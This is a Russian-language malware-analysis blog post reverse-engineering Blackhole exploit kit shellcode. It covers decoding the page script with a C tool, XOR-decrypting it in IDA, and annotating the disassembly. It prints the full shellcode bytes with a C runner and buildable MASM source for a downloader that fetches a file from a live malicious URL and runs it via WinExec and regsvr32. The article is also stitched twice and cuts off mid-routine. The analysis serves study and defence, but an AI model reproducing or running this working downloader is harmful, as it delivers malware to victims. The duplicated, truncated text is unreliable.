Допустим у нас есть задача быстро просмотреть что и откуда будет грузиться из Blackhole exploit kit. Можно конечно воспользоваться одной из виртуальных машин + wireshark (влепите сюда ваш любимый снифер), но это не интересно =) Вот такой я извращенец. =) Проведем эдакий ручной анализ, или х. его знает как хотите так и называйте.
Нам нужен свеженький семпл, идем на http://www.malwaredomainlist.com/mdl.php , выбираем, благо есть из чего, BEK оченна популярен сейчас у бед гайс и криминал кидс =)
Наш выбор пал на rf3c73.ru/indexi.php?pagexxi=677684c604189845
Ну и ладушки, отключаем в браузере javascript (кто в танке , может не делать этого), заходим по линку, дожидаемся пока страничка загрузиться и сохраняем исходный код страницы.
не обращаем внимания на этот ужасный мусор, то что нам нужно находиться в самом конце кода, заменям строчку w(b) на document.write(b) и сохраняем файл. На картинке спецально выделил , мало ли чо =)
еперь , включаем javascript (кто был в танке пропускает этот шаг =) ), открываем этот файл и вуаля, видим уже более менее нормальный код. Для удобочитаемости можно воспользоваться прекрасным сервисом http://jsbeautifier.org/, который форматирует код, что приятно радует глаз.
Все это лирика, нам нужен и интересен сейчас только кусок кода который неприлично вопит о своем предназначении - getShellCode
Вот он , наш шеллкодик, его и будем дальше анализировать. Кто владеет perl'ом (например тут http://pmelson.blogspot.com/2009/11/reversing-javascript-shellcode-step-by.html) или python'ом , могут быстро накидать себе скриптик - аналог javascript unescape. Мне как то ближе С (жду вот вот снизойдет озарение и я доучу питон , тогда буду клепать скрипты на нем =) )
а пока набросал такой код, пригодиться для подобных задачек
На выходе имеем: бинарные файл шеллкода (который и будем анализровать в IdaPro) и Си'шный для копиляции и дебага, мало ли чо =)
#include <stdio.h>
static char shellcode[] =
"\x41\x41\x41\x41\x66\x83\xe4\xfc\xfc\xeb\x10\x58\x31\xc9\x66\x81"
"\xe9\x5b\xfe\x80\x30\x28\x40\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff"
"\xad\xcc\x5d\x1c\xc1\x77\x1b\xe8\x4c\xa3\x68\x18\xa3\x68\x24\xa3"
"\x58\x34\x7e\xa3\x5e\x20\x1b\xf3\x4e\xa3\x76\x14\x2b\x5c\x1b\x04"
"\xa9\xc6\x3d\x38\xd7\xd7\x90\xa3\x68\x18\xeb\x6e\x11\x2e\x5d\xd3"
"\xaf\x1c\x0c\xad\xcc\x5d\x79\xc1\xc3\x64\x79\x7e\xa3\x5d\x14\xa3"
"\x5c\x1d\x50\x2b\xdd\x7e\xa3\x5e\x08\x2b\xdd\x1b\xe1\x61\x69\xd4"
"\x85\x2b\xed\x1b\xf3\x27\x96\x38\x10\xda\x5c\x20\xe9\xe3\x25\x2b"
"\xf2\x68\xc3\xd9\x13\x37\x5d\xce\x76\xa3\x76\x0c\x2b\xf5\x4e\xa3"
"\x24\x63\xa5\x6e\xc4\xd7\x7c\x0c\x24\xa3\xf0\x2b\xf5\xa3\x2c\xa3"
"\x2b\xed\x83\x76\x71\xeb\xc3\x7b\x85\xa3\x40\x08\xa8\x55\x24\x1b"
"\x5c\x2b\xbe\xc3\xdb\xa3\x40\x20\xa3\xdf\x42\x2d\x71\xc0\xb0\xd7"
"\xd7\xd7\xca\xd1\xc0\x28\x28\x28\x28\x70\x78\x42\x68\x40\xd7\x28"
"\x28\x28\x78\xab\xe8\x31\x78\x7d\xa3\xc4\xa3\x76\x38\xab\xeb\x2d"
"\xd7\xcb\x40\x47\x46\x28\x28\x40\x5d\x5a\x44\x45\x7c\xd7\x3e\xab"
"\xec\x20\xa3\xc0\xc0\x49\xd7\xd7\xd7\xc3\x2a\xc3\x5a\xa9\xc4\x2c"
"\x29\x28\x28\xa5\x74\x0c\x24\xef\x2c\x0c\x5a\x4d\x4f\x5b\xef\x6c"
"\x0c\x2c\x5e\x5a\x1b\x1a\xef\x6c\x0c\x20\x08\x05\x5b\x08\x7b\x40"
"\xd0\x28\x28\x28\xd7\x7e\x24\xa3\xc0\x1b\xe1\x79\xef\x6c\x35\x28"
"\x5f\x58\x4a\x5c\xef\x6c\x35\x2d\x06\x4c\x44\x44\xee\x6c\x35\x21"
"\x28\x71\xa2\xe9\x2c\x18\xa0\x6c\x35\x2c\x69\x79\x42\x28\x42\x28"
"\x7b\x7f\x42\x28\xd7\x7e\x3c\xad\xe8\x5d\x3e\x42\x28\x7b\xd7\x7e"
"\x2c\x42\x28\xab\xc3\x24\x7b\xd7\x7e\x2c\xab\xeb\x24\xc3\x2a\xc3"
"\x3b\x6f\xa8\x17\x28\x5d\xd2\x6f\xa8\x17\x28\x5d\xec\x42\x28\x42"
"\xd6\xd7\x7e\x20\xc0\xb4\xd6\xd7\xd7\xa6\x66\x26\xc4\xb0\xd6\xa2"
"\x26\xa1\x47\x29\x95\x1b\xe2\xa2\x73\x33\xee\x6e\x51\x1e\x32\x07"
"\x58\x40\x5c\x5c\x58\x12\x07\x07\x5a\x4e\x1b\x4b\x1f\x1b\x06\x5a"
"\x5d\x07\x4b\x06\x58\x40\x58\x17\x4e\x15\x4d\x1d\x1b\x1b\x1c\x0e"
"\x4d\x15\x19\x28\x28\x00";
int main(int argc, char *argv[])
{
void (*code)() = (void *)shellcode;
code();
exit(0);
}
Натравливаем IdaPro на бинарник
Как положено хорошему шеллкоду, он состоит из небольшого декриптора и зашифрованой (в данном случае поxor'еной) основной части
Для расксоривания, можно воспользоваться hiew , но мне нравиться это делать непосредствено в IdaPro (Ильфак, ты гений и Ида бесподобна), поэтому накидаем небольшой idc скриптик (мало ли чо, еще может часто пригодиться):
#include <idc.idc>
static main() {
auto start, end, len, ptr, XorKey, CryData;
auto eax, ecx, edx;
XorKey = 0x28;
Message("Begin decrypt... \n");
start = LocByName("rstart");
len = 0x1a5;
end = start + len;
Message("Start 0x%x - End: 0x%x\n",start, end);
for (ptr = start; ptr < end; ptr++) {
CryData = Byte(ptr) ^ XorKey;
PatchByte(ptr, CryData);
}
}
Жмем в IdaPro Alt+F7 , выбираем наш скрипт - имеем уже более приятную картинку
ну и собственно, после "ковыряний" в IdaPro наша цель достигнута, имеем код, который имеет кого то =)
;@echo off
;goto make
; █████████████████████████████████████████████████████
; █
; █ Reverse engineering shellcode from BlackHole
; █ by MalwRecon http://malwrecon.blogspot.com
; █
; █████████████████████████████████████████████████████
.486
.model flat, stdcall
option casemap:none
option prologue:none
.code
shellcode:
inc ecx
inc ecx
inc ecx
inc ecx
and sp, 0FFFCh
cld
jmp short go
go_decr:
pop eax
xor ecx, ecx
sub cx, -1A5h ; ecx = 1a5 - размер криптованого блока
decr:
xor byte ptr [eax], 28h
inc eax
loop decr
jmp short rstart
go:
call go_decr
rstart:
test esp, esp
jnz short bjmp1
; ---------------------------------------------------------------------------
db 0E9h ; щ ; little anti disasm feature
; ---------------------------------------------------------------------------
begwork:
assume fs:nothing
pop edi ; ptr hashtable
xor eax, eax
mov eax, fs:[eax+30h] ; PEB_LDR_DATA
mov eax, [eax+0Ch] ; InLoadOrderModuleList
mov esi, [eax+1Ch] ; InInitializationOrderModuleList
push esi ; save ptl LDR_MODULE
mov esi, [esi+8] ; InMemoryOrderModuleList подгрузили base address ntdll
; он находится первым в этом списке
xor ebx, ebx
mov bx, [esi+3Ch] ; PE header
add esi, [ebx+esi+2Ch] ; BaseOfCode
sub esi, 0FFFF1015h
mov eax, 0C330408Bh ; ищем инструкции
; mov eax, [eax+30h]
; retn
find_sig:
inc esi
cmp [esi], eax ; found in ntdll at 0x7c954f52
jnz short find_sig
xchg esi, [esp] ; засовываем на вершину стека указатель на инструкции
; mov eax, [eax+30h]
; ret
; а извлекаем указатель на LDR_MODULE
test esp, esp ; not zero?
jnz short search_kernel32_lib
; ---------------------------------------------------------------------------
db 0E9h ; щ ; anti anti trick =)
; ---------------------------------------------------------------------------
bjmp1:
jmp short bjmp2
; in ebp - base address; edi - ptr to hashfunction
; out edi - ptr next dd
GetAddrByHash proc near
push ecx
push esi
mov esi, [ebp+3Ch]
mov esi, [ebp+esi+78h]
add esi, ebp
push esi
mov esi, [esi+20h]
add esi, ebp
xor ecx, ecx
dec ecx
loc_6E:
inc ecx
cld
lodsd
add eax, ebp
xor ebx, ebx
loc_75:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short loc_84
ror ebx, 0Dh
add ebx, edx
inc eax
jmp short loc_75
loc_84:
cmp ebx, [edi]
jnz short loc_6E
pop esi
mov ebx, [esi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
lea eax, [esi-14h]
call dword ptr [esp+8]
mov ebx, eax
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
stosd
pop esi
pop ecx
retn
GetAddrByHash endp
bjmp2:
jmp short bjmp3
search_kernel32_lib:
lodsd ; InLoadOrderModuleList.Flink ищем Kernel32
mov ebp, [eax+20h] ; Проходим по списку и анализируем поле FullDllName,
; ищем - kernel32.dll
cmp byte ptr [ebp+0Ch], '3' ; Проверяем Kernel32 ?
jz short found_kernel32
xchg eax, esi ; Двигаемся по списку далее
jmp short search_kernel32_lib
found_kernel32:
mov ebp, [eax+8] ; base address kernel32
mov esi, edi ; esi - ptr hashtable
push 5 ; count functions/hashs
pop ecx
next_hash:
call GetAddrByHash
loop next_hash
call $+5 ; call selfc
selfc: ; lpflOldProtect
pop eax
push eax
push 40h ; '@' ; flNewProtect = PAGE_EXECUTE_READWRITE
push 0FFh ; dwSize = 255 bytes (весь регион шелкода)
push eax ; lpAddress
add eax, 19h
push eax ; адрес возврата из VirtualProtect retVP
push ebp ; таким хитрым образом сохраняем ebp в стеке
; в конеце virtualprotect будет инструкция pop ebp
; и мы вытащим наше значение из стека (красавцы)
mov ebp, esp ; ebp - указатель на стек для передачи параметров
mov ebx, [esi+10h] ; BOOL WINAPI VirtualProtect(
; __in LPVOID lpAddress,
; __in SIZE_T dwSize,
; __in DWORD flNewProtect,
; __out PDWORD lpflOldProtect
; );
add ebx, 5 ; skip first 5 bytes in VirtualProtect
; mov edi, edi
; push ebp
; mov ebp, ssp
jmp ebx ; переходим на VirtualProtect делаем область памяти
; нашего шелкода RWX
retVP:
push 'no'
push 'mlru'
push esp ; push ptr "urlmon" in stack
call dword ptr [esi]
add esp, 8 ; освобождаем стек от "urlmon"
mov ebp, eax ; ebp - base address urlmon.dll
call GetAddrByHash ; edi current ptr to hashtable
jmp short makepath
bjmp3:
jmp short bjmp4
makepath:
sub esp, 260 ; reserved MAX_PATH bytes in stack
lea ebx, [esp+0Ch] ; указатель , будет указывать за строку "regsvr32 -s " в стеке
; сюда будет сгенерирован TmpPath
mov dword ptr [esp], 'sger'
mov dword ptr [esp+4], '23rv'
mov dword ptr [esp+8], ' s- '
push ebx ; lpBuffer
push 248 ; nBufferLength
call dword ptr [esi+0Ch] ; GetTempPathA
mov ebp, eax ; eax - длинна сгенерированного TmpPath
xor ecx, ecx
push ecx ; начальный индекс = 0
mov dword ptr [ebp+ebx+0], 'tbpw'
mov dword ptr [ebp+ebx+5], 'lld.'
mov byte ptr [ebp+ebx+9], 0
NextURL:
pop ecx ; извлекаем текущий индек для генерации имени файла
mov al, cl ; index служит для генерации имени файла
; запускаемого шелкодом
; тоесть последовательно генеряца имена
; wpbt[0-n].dll n- количество линков для загрузки
add al, 30h ; '0' ; теперь имеем "wpbt[index].dll"
mov [ebp+ebx+4], al
inc ecx ; подготавливаем и сохраняем индекс
push ecx
push 0 ; lpcbFn
push 0 ; dwReserved
push ebx ; szFileName
push edi ; szURL
push 0 ; pCaller
call dword ptr [esi+14h] ; URLDownloadToFileA
test eax, eax
jnz short skipCurrentURL
push 0
push ebx
call dword ptr [esi+4] ; Winexec
push 0
sub ebx, 0Ch ; указатель на всю строчку regsvr32 -s ...
push ebx
call dword ptr [esi+4] ; Winexec
add ebx, 0Ch ; снова указатель на полный путь файла wpbt0.dll
jmp short skipCurrentURL
; ---------------------------------------------------------------------------
bjmp4:
jmp short bjmp5
; ---------------------------------------------------------------------------
skipCurrentURL:
inc edi
cmp byte ptr [edi], 0 ; Сканируем URL на конец строячки
jnz short skipCurrentURL
inc edi ; Дошли до конца строки URL
cmp byte ptr [edi], 0 ; Есть еще линк для загрузки ?
jnz short NextURL
push 0
push 0FFFFFFFEh
call dword ptr [esi+8] ; TerminateThread
bjmp5:
call begwork
; ---------------------------------------------------------------------------
; ████████████████████████████████████████████████████
; █ H A S H S █
; ████████████████████████████████████████████████████
hashtable dd 0EC0E4E8Eh ; LoadLibraryA
dd 0E8AFE98h ; WinExec
dd 0BD016F89h ; TerminateThread
dd 5B8ACA33h ; GetTempPathA
dd 7946C61Bh ; VirtualProtect
dd 702F1A36h ; URLDownloadToFileA
url db 'http://rf3c73.ru/c.php?f=e5334&e=1',0
db 0
db 0
codee:
end shellcode
:make
set sc=sc
d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:16 /nologo /entry:shellcode /out:%sc%.exe /section:.text,RWE /subsystem:console %sc%.obj
del %sc%.obj
echo.
pause
Довольно интересный код, лишний раз доказывает, что кодинг на asm'е вообще и кодинг шелкодов в частности , это высший пилотаж. Данный же шелкод пожалуй интересен еще тем, что несет в себе функционал загрузчика, т.е может загрузить и запустить несколько других малвар, эдакий ShellcodeTrojanDownloader.
Нам нужен свеженький семпл, идем на http://www.malwaredomainlist.com/mdl.php , выбираем, благо есть из чего, BEK оченна популярен сейчас у бед гайс и криминал кидс =)
Наш выбор пал на rf3c73.ru/indexi.php?pagexxi=677684c604189845
Ну и ладушки, отключаем в браузере javascript (кто в танке , может не делать этого), заходим по линку, дожидаемся пока страничка загрузиться и сохраняем исходный код страницы.
не обращаем внимания на этот ужасный мусор, то что нам нужно находиться в самом конце кода, заменям строчку w(b) на document.write(b) и сохраняем файл. На картинке спецально выделил , мало ли чо =)
еперь , включаем javascript (кто был в танке пропускает этот шаг =) ), открываем этот файл и вуаля, видим уже более менее нормальный код. Для удобочитаемости можно воспользоваться прекрасным сервисом http://jsbeautifier.org/, который форматирует код, что приятно радует глаз.
Все это лирика, нам нужен и интересен сейчас только кусок кода который неприлично вопит о своем предназначении - getShellCode
Вот он , наш шеллкодик, его и будем дальше анализировать. Кто владеет perl'ом (например тут http://pmelson.blogspot.com/2009/11/reversing-javascript-shellcode-step-by.html) или python'ом , могут быстро накидать себе скриптик - аналог javascript unescape. Мне как то ближе С (жду вот вот снизойдет озарение и я доучу питон , тогда буду клепать скрипты на нем =) )
а пока набросал такой код, пригодиться для подобных задачек
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PAD 16
void shell2str(unsigned char *code, unsigned long len) {
unsigned long i;
printf("\n\t\"");
for(i=0; i<len; i++){
printf("\\x%02x", (unsigned char *)code[i]);
if((i%16)==15) printf("\"\n\t\"");
}
printf("\";\n");
}
unsigned char str2hex (unsigned char * s) {
unsigned char x = 0;
unsigned char c;
c = *s;
if (c >= '0' && c <= '9')
c = c - '0';
else {
if (c >= 'a' && c <= 'f')
c = c - 'a' + 0x0a;
else if (c >= 'A' && c <= 'F')
c = c - 'A' + 0x0a;
else
c = 0; // wrong char
}
x = c << 4;
s++;
c = *s;
if (c >= '0' && c <= '9')
c = c - '0';
else {
if (c >= 'a' && c <= 'f')
c = c - 'a' + 0x0a;
else if (c >= 'A' && c <= 'F')
c = c - 'A' + 0x0a;
else
c = 0; // wrong char
}
x |= c;
return x;
}
int main (int argc, char * argv[]) {
FILE * fd;
FILE * fd2;
unsigned long sclen;
unsigned char *memsc;
unsigned char *membinsc;
char * fname;
char * bname = "sc.bin";
unsigned long scbinlen = 0 ;
unsigned char *ptr;
unsigned long c1, c2;
if (argc<2) {
printf("Usage: %s <unescape_file> [bin_file (default sc.bin)\n", argv[0]);
return -1;
}
fname = argv[1];
//printf("unicode shellcode file: %s\n", fname);
fd = fopen(fname, "r");
if (fd==NULL) {
printf("Error to open file: %s\n", fname);
return -1;
}
fseek(fd, 0, SEEK_END);
sclen = ftell(fd);
rewind(fd);
memsc = (char *)malloc(PAD + sclen*sizeof(char));
memset(memsc, 0, sclen+ PAD);
fread(memsc, sizeof(char), sclen, fd);
membinsc = (char *)malloc(sclen*sizeof(char));
memset(membinsc, 0, sclen);
if (argc > 2) {
bname = argv[2];
}
fd2 = fopen(bname, "wb");
if (fd2==NULL) {
printf("Error to open file: %s\n", bname);
return -1;
}
ptr = memsc;
ptr +=2; //skip first %u
while (*ptr != 0) {
c2 = str2hex(ptr);
//printf("c = %02x\n", c1);
ptr +=2;
c1 = str2hex(ptr);
//printf("c = %02x\n", c1);
membinsc[scbinlen+1] = c2;
membinsc[scbinlen] = c1;
ptr +=4;
scbinlen +=2;
}
printf("#include <stdio.h>\n\n");
printf("static char shellcode[] =");
shell2str(membinsc, scbinlen);
printf("\n\nint main(int argc, char *argv[])\n");
printf("{\n");
printf(" void (*code)() = (void *)shellcode;\n");
printf(" code();\n");
printf(" exit(0);\n");
printf("}\n\n");
fwrite(membinsc, sizeof(char), scbinlen, fd2);
fclose(fd);
fclose(fd2);
free(memsc);
free(membinsc);
return 0;
}
#include <string.h>
#include <stdlib.h>
#define PAD 16
void shell2str(unsigned char *code, unsigned long len) {
unsigned long i;
printf("\n\t\"");
for(i=0; i<len; i++){
printf("\\x%02x", (unsigned char *)code[i]);
if((i%16)==15) printf("\"\n\t\"");
}
printf("\";\n");
}
unsigned char str2hex (unsigned char * s) {
unsigned char x = 0;
unsigned char c;
c = *s;
if (c >= '0' && c <= '9')
c = c - '0';
else {
if (c >= 'a' && c <= 'f')
c = c - 'a' + 0x0a;
else if (c >= 'A' && c <= 'F')
c = c - 'A' + 0x0a;
else
c = 0; // wrong char
}
x = c << 4;
s++;
c = *s;
if (c >= '0' && c <= '9')
c = c - '0';
else {
if (c >= 'a' && c <= 'f')
c = c - 'a' + 0x0a;
else if (c >= 'A' && c <= 'F')
c = c - 'A' + 0x0a;
else
c = 0; // wrong char
}
x |= c;
return x;
}
int main (int argc, char * argv[]) {
FILE * fd;
FILE * fd2;
unsigned long sclen;
unsigned char *memsc;
unsigned char *membinsc;
char * fname;
char * bname = "sc.bin";
unsigned long scbinlen = 0 ;
unsigned char *ptr;
unsigned long c1, c2;
if (argc<2) {
printf("Usage: %s <unescape_file> [bin_file (default sc.bin)\n", argv[0]);
return -1;
}
fname = argv[1];
//printf("unicode shellcode file: %s\n", fname);
fd = fopen(fname, "r");
if (fd==NULL) {
printf("Error to open file: %s\n", fname);
return -1;
}
fseek(fd, 0, SEEK_END);
sclen = ftell(fd);
rewind(fd);
memsc = (char *)malloc(PAD + sclen*sizeof(char));
memset(memsc, 0, sclen+ PAD);
fread(memsc, sizeof(char), sclen, fd);
membinsc = (char *)malloc(sclen*sizeof(char));
memset(membinsc, 0, sclen);
if (argc > 2) {
bname = argv[2];
}
fd2 = fopen(bname, "wb");
if (fd2==NULL) {
printf("Error to open file: %s\n", bname);
return -1;
}
ptr = memsc;
ptr +=2; //skip first %u
while (*ptr != 0) {
c2 = str2hex(ptr);
//printf("c = %02x\n", c1);
ptr +=2;
c1 = str2hex(ptr);
//printf("c = %02x\n", c1);
membinsc[scbinlen+1] = c2;
membinsc[scbinlen] = c1;
ptr +=4;
scbinlen +=2;
}
printf("#include <stdio.h>\n\n");
printf("static char shellcode[] =");
shell2str(membinsc, scbinlen);
printf("\n\nint main(int argc, char *argv[])\n");
printf("{\n");
printf(" void (*code)() = (void *)shellcode;\n");
printf(" code();\n");
printf(" exit(0);\n");
printf("}\n\n");
fwrite(membinsc, sizeof(char), scbinlen, fd2);
fclose(fd);
fclose(fd2);
free(memsc);
free(membinsc);
return 0;
}
#include <stdio.h>
static char shellcode[] =
"\x41\x41\x41\x41\x66\x83\xe4\xfc\xfc\xeb\x10\x58\x31\xc9\x66\x81"
"\xe9\x5b\xfe\x80\x30\x28\x40\xe2\xfa\xeb\x05\xe8\xeb\xff\xff\xff"
"\xad\xcc\x5d\x1c\xc1\x77\x1b\xe8\x4c\xa3\x68\x18\xa3\x68\x24\xa3"
"\x58\x34\x7e\xa3\x5e\x20\x1b\xf3\x4e\xa3\x76\x14\x2b\x5c\x1b\x04"
"\xa9\xc6\x3d\x38\xd7\xd7\x90\xa3\x68\x18\xeb\x6e\x11\x2e\x5d\xd3"
"\xaf\x1c\x0c\xad\xcc\x5d\x79\xc1\xc3\x64\x79\x7e\xa3\x5d\x14\xa3"
"\x5c\x1d\x50\x2b\xdd\x7e\xa3\x5e\x08\x2b\xdd\x1b\xe1\x61\x69\xd4"
"\x85\x2b\xed\x1b\xf3\x27\x96\x38\x10\xda\x5c\x20\xe9\xe3\x25\x2b"
"\xf2\x68\xc3\xd9\x13\x37\x5d\xce\x76\xa3\x76\x0c\x2b\xf5\x4e\xa3"
"\x24\x63\xa5\x6e\xc4\xd7\x7c\x0c\x24\xa3\xf0\x2b\xf5\xa3\x2c\xa3"
"\x2b\xed\x83\x76\x71\xeb\xc3\x7b\x85\xa3\x40\x08\xa8\x55\x24\x1b"
"\x5c\x2b\xbe\xc3\xdb\xa3\x40\x20\xa3\xdf\x42\x2d\x71\xc0\xb0\xd7"
"\xd7\xd7\xca\xd1\xc0\x28\x28\x28\x28\x70\x78\x42\x68\x40\xd7\x28"
"\x28\x28\x78\xab\xe8\x31\x78\x7d\xa3\xc4\xa3\x76\x38\xab\xeb\x2d"
"\xd7\xcb\x40\x47\x46\x28\x28\x40\x5d\x5a\x44\x45\x7c\xd7\x3e\xab"
"\xec\x20\xa3\xc0\xc0\x49\xd7\xd7\xd7\xc3\x2a\xc3\x5a\xa9\xc4\x2c"
"\x29\x28\x28\xa5\x74\x0c\x24\xef\x2c\x0c\x5a\x4d\x4f\x5b\xef\x6c"
"\x0c\x2c\x5e\x5a\x1b\x1a\xef\x6c\x0c\x20\x08\x05\x5b\x08\x7b\x40"
"\xd0\x28\x28\x28\xd7\x7e\x24\xa3\xc0\x1b\xe1\x79\xef\x6c\x35\x28"
"\x5f\x58\x4a\x5c\xef\x6c\x35\x2d\x06\x4c\x44\x44\xee\x6c\x35\x21"
"\x28\x71\xa2\xe9\x2c\x18\xa0\x6c\x35\x2c\x69\x79\x42\x28\x42\x28"
"\x7b\x7f\x42\x28\xd7\x7e\x3c\xad\xe8\x5d\x3e\x42\x28\x7b\xd7\x7e"
"\x2c\x42\x28\xab\xc3\x24\x7b\xd7\x7e\x2c\xab\xeb\x24\xc3\x2a\xc3"
"\x3b\x6f\xa8\x17\x28\x5d\xd2\x6f\xa8\x17\x28\x5d\xec\x42\x28\x42"
"\xd6\xd7\x7e\x20\xc0\xb4\xd6\xd7\xd7\xa6\x66\x26\xc4\xb0\xd6\xa2"
"\x26\xa1\x47\x29\x95\x1b\xe2\xa2\x73\x33\xee\x6e\x51\x1e\x32\x07"
"\x58\x40\x5c\x5c\x58\x12\x07\x07\x5a\x4e\x1b\x4b\x1f\x1b\x06\x5a"
"\x5d\x07\x4b\x06\x58\x40\x58\x17\x4e\x15\x4d\x1d\x1b\x1b\x1c\x0e"
"\x4d\x15\x19\x28\x28\x00";
int main(int argc, char *argv[])
{
void (*code)() = (void *)shellcode;
code();
exit(0);
}
Натравливаем IdaPro на бинарник
Как положено хорошему шеллкоду, он состоит из небольшого декриптора и зашифрованой (в данном случае поxor'еной) основной части
Для расксоривания, можно воспользоваться hiew , но мне нравиться это делать непосредствено в IdaPro (Ильфак, ты гений и Ида бесподобна), поэтому накидаем небольшой idc скриптик (мало ли чо, еще может часто пригодиться):
#include <idc.idc>
static main() {
auto start, end, len, ptr, XorKey, CryData;
auto eax, ecx, edx;
XorKey = 0x28;
Message("Begin decrypt... \n");
start = LocByName("rstart");
len = 0x1a5;
end = start + len;
Message("Start 0x%x - End: 0x%x\n",start, end);
for (ptr = start; ptr < end; ptr++) {
CryData = Byte(ptr) ^ XorKey;
PatchByte(ptr, CryData);
}
}
Жмем в IdaPro Alt+F7 , выбираем наш скрипт - имеем уже более приятную картинку
ну и собственно, после "ковыряний" в IdaPro наша цель достигнута, имеем код, который имеет кого то =)
;@echo off
;goto make
; █████████████████████████████████████████████████████
; █
; █ Reverse engineering shellcode from BlackHole
; █ by MalwRecon http://malwrecon.blogspot.com
; █
; █████████████████████████████████████████████████████
.486
.model flat, stdcall
option casemap:none
option prologue:none
.code
shellcode:
inc ecx
inc ecx
inc ecx
inc ecx
and sp, 0FFFCh
cld
jmp short go
go_decr:
pop eax
xor ecx, ecx
sub cx, -1A5h ; ecx = 1a5 - размер криптованого блока
decr:
xor byte ptr [eax], 28h
inc eax
loop decr
jmp short rstart
go:
call go_decr
rstart:
test esp, esp
jnz short bjmp1
; ---------------------------------------------------------------------------
db 0E9h ; щ ; little anti disasm feature
; ---------------------------------------------------------------------------
begwork:
assume fs:nothing
pop edi ; ptr hashtable
xor eax, eax
mov eax, fs:[eax+30h] ; PEB_LDR_DATA
mov eax, [eax+0Ch] ; InLoadOrderModuleList
mov esi, [eax+1Ch] ; InInitializationOrderModuleList
push esi ; save ptl LDR_MODULE
mov esi, [esi+8] ; InMemoryOrderModuleList подгрузили base address ntdll
; он находится первым в этом списке
xor ebx, ebx
mov bx, [esi+3Ch] ; PE header
add esi, [ebx+esi+2Ch] ; BaseOfCode
sub esi, 0FFFF1015h
mov eax, 0C330408Bh ; ищем инструкции
; mov eax, [eax+30h]
; retn
find_sig:
inc esi
cmp [esi], eax ; found in ntdll at 0x7c954f52
jnz short find_sig
xchg esi, [esp] ; засовываем на вершину стека указатель на инструкции
; mov eax, [eax+30h]
; ret
; а извлекаем указатель на LDR_MODULE
test esp, esp ; not zero?
jnz short search_kernel32_lib
; ---------------------------------------------------------------------------
db 0E9h ; щ ; anti anti trick =)
; ---------------------------------------------------------------------------
bjmp1:
jmp short bjmp2
; in ebp - base address; edi - ptr to hashfunction
; out edi - ptr next dd
GetAddrByHash proc near
push ecx
push esi
mov esi, [ebp+3Ch]
mov esi, [ebp+esi+78h]
add esi, ebp
push esi
mov esi, [esi+20h]
add esi, ebp
xor ecx, ecx
dec ecx
loc_6E:
inc ecx
cld
lodsd
add eax, ebp
xor ebx, ebx
loc_75:
movsx edx, byte ptr [eax]
cmp dl, dh
jz short loc_84
ror ebx, 0Dh
add ebx, edx
inc eax
jmp short loc_75
loc_84:
cmp ebx, [edi]
jnz short loc_6E
pop esi
mov ebx, [esi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
lea eax, [esi-14h]
call dword ptr [esp+8]
mov ebx, eax
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
stosd
pop esi
pop ecx
retn
GetAddrByHash endp
bjmp2:
jmp short bjmp3
search_kernel32_lib:
lodsd ; InLoadOrderModuleList.Flink ищем Kernel32
mov ebp, [eax+20h] ; Проходим по списку и анализируем поле FullDllName,
; ищем - kernel32.dll
cmp byte ptr [ebp+0Ch], '3' ; Проверяем Kernel32 ?
jz short found_kernel32
xchg eax, esi ; Двигаемся по списку далее
jmp short search_kernel32_lib
found_kernel32:
mov ebp, [eax+8] ; base address kernel32
mov esi, edi ; esi - ptr hashtable
push 5 ; count functions/hashs
pop ecx
next_hash:
call GetAddrByHash
loop next_hash
call $+5 ; call selfc
selfc: ; lpflOldProtect
pop eax
push eax
push 40h ; '@' ; flNewProtect = PAGE_EXECUTE_READWRITE
push 0FFh ; dwSize = 255 bytes (весь регион шелкода)
push eax ; lpAddress
add eax, 19h
push eax ; адрес возврата из VirtualProtect retVP
push ebp ; таким хитрым образом сохраняем ebp в стеке
; в конеце virtualprotect будет инструкция pop ebp
; и мы вытащим наше значение из стека (красавцы)
mov ebp, esp ; ebp - указатель на стек для передачи параметров
mov ebx, [esi+10h] ; BOOL WINAPI VirtualProtect(
; __in LPVOID lpAddress,
; __in SIZE_T dwSize,
; __in DWORD flNewProtect,
; __out PDWORD lpflOldProtect
; );
add ebx, 5 ; skip first 5 bytes in VirtualProtect
; mov edi, edi
; push ebp
; mov ebp, ssp
jmp ebx ; переходим на VirtualProtect делаем область памяти
; нашего шелкода RWX
retVP:
push 'no'
push 'mlru'
push esp ; push ptr "urlmon" in stack
call dword ptr [esi]
add esp, 8 ; освобождаем стек от "urlmon"
mov ebp, eax ; ebp - base address urlmon.dll
call GetAddrByHash ; edi current ptr to hashtable
jmp short makepath
bjmp3:
jmp short bjmp4
makepath:
sub esp, 260 ; reserved MAX_PATH bytes in stack
lea ebx, [esp+0Ch] ; указатель , будет указывать за строку "regsvr32 -s " в стеке
; сюда будет сгенерирован TmpPath
mov dword ptr [esp], 'sger'
mov dword ptr [esp+4], '23rv'
mov dword ptr [esp+8], ' s- '
push ebx ; lpBuffer
push 248 ; nBufferLength
call dword ptr [esi+0Ch] ; GetTempPathA
mov ebp, eax ; eax - длинна сгенерированного TmpPath
xor ecx, ecx
push ecx ; начальный индекс = 0
mov dword ptr [ebp+ebx+0], 'tbpw'
mov dword ptr [ebp+ebx+5], 'lld.'
mov byte ptr [ebp+ebx+9], 0
NextURL:
pop ecx ; извлекаем текущий индек для генерации имени файла
mov al, cl ; index служит для генерации имени файла
; запускаемого шелкодом
; тоесть последовательно генеряца имена
; wpbt[0-n].dll n- количество линков для загрузки
add al, 30h ; '0' ; теперь имеем "wpbt[index].dll"
mov [ebp+ebx+4], al
inc ecx ; подготавливаем и сохраняем индекс
push ecx
push 0 ; lpcbFn
push 0 ; dwReserved
push ebx ; szFileName
push edi ; szURL
push 0 ; pCaller
call dword ptr [esi+14h] ; URLDownloadToFileA
test eax, eax
jnz short skipCurrentURL
push 0
push ebx
call dword ptr [esi+4] ; Winexec
push 0
sub ebx, 0Ch ; указатель на всю строчку regsvr32 -s ...
push ebx
call dword ptr [esi+4] ; Winexec
add ebx, 0Ch ; снова указатель на полный путь файла wpbt0.dll
jmp short skipCurrentURL
; ---------------------------------------------------------------------------
bjmp4:
jmp short bjmp5
; ---------------------------------------------------------------------------
skipCurrentURL:
inc edi
